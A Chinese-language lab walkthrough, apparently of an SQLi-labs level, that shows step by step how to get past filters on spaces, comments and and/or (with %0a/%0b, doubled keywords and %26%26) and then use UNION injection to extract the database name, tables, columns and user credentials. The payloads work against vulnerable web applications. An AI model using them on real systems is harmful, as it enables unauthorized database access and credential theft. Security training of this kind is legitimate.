这一关的欢迎界面显示空格和注释符都被注释掉了 所以说空格我们用%0a绕过处理 然后注释符用万能密码进行绕过处理
首先判断是否为数字型
输入如下
1%0aand%0a1=2
回显如下
查出来竟然不是第一条数据 所以说and应该被过滤了 而且应该全部的逻辑运算符都被过滤掉了 所以我们用字符来代替字母写法 用&&代替and 用||代替or 或者使用双写绕过的思想进行处理
使用以上两种做法进行解题的回显如下所示
然后输入1' 回显如下
但是作证我们不能写--+得用万能密码替代
作证如下
1'%0aoorr%0a'1'='1
也是正确回显了
接下来的步骤由于之前对于正确和错误的输入都存在回显和报错信息 所以既可以使用联合注入 又可以使用报错注入 我们这边是用联合注入的方式
首先判断一下回显点
输入如下
id=1'%0aunion%0aselect%0a1,2,3%0aoorr%0a'1'='1
又报错了 不懂为什么%0a不能用了 %0b却可以用
所以我们以上语句写成如下形式
id=-1'%0bunion%0bselect%0b1,2,3||'1'='1
但是虽然存在回显了 但是不是我们想要的结果啊 没有回显出1,2,3中的任何一个
我们猜想注释符号中有一个--+ 他会不会是把我们的符号当作了注释符号看待 所以这边我们只能使用0作为主查询的数
最终版本为如下形式
id=0'%0bunion%0bselect%0b1,2,3||'1'='1
终于回显了 回显如下
接着开始我们的爆库/版本号
输入如下
id=0'%0bunion%0bselect%0bversion(),database(),3||'1'='1
好坑啊 我以为回显位会是前两位的 结果却只有一位回显了(第二位回显了) password处的回显不懂是什么 那么现在只能利用第二位了
重新爆库
输入如下
id=0'%0bunion%0bselect%0b1,database(),3||'1'='1
回显如下
爆表 输入如下
id=0'%0bunion%0bselect%0b2,group_concat(table_name),4%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%26%26'1'='1
爆表过程中可能会出现的两个问题:
1.&&不管用 那就用%26%26替代
2.万能密码不要写成or 1=1这样会把除了当前数据库以外的其他库的表都给查询出来 我们用and 1=1替代他
回显如下
爆字段
输入如下
id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0b%26%26%0btable_schema=database()%26%26'1'='1
接着爆用户名和密码相关信息 输入如下
id=0'%0bunion%0bselect%0b1,group_concat(username,passwoorrd),3%0bfrom%0busers%26%26'1'='1
这边不知道为什么写成and 1=1报错 所以我索性写成了where 1=1 就成功了 回显如下
这一关使用联合注入好麻烦 还是建议使用报错注入吧 不过还是成功了 嗨嗨!!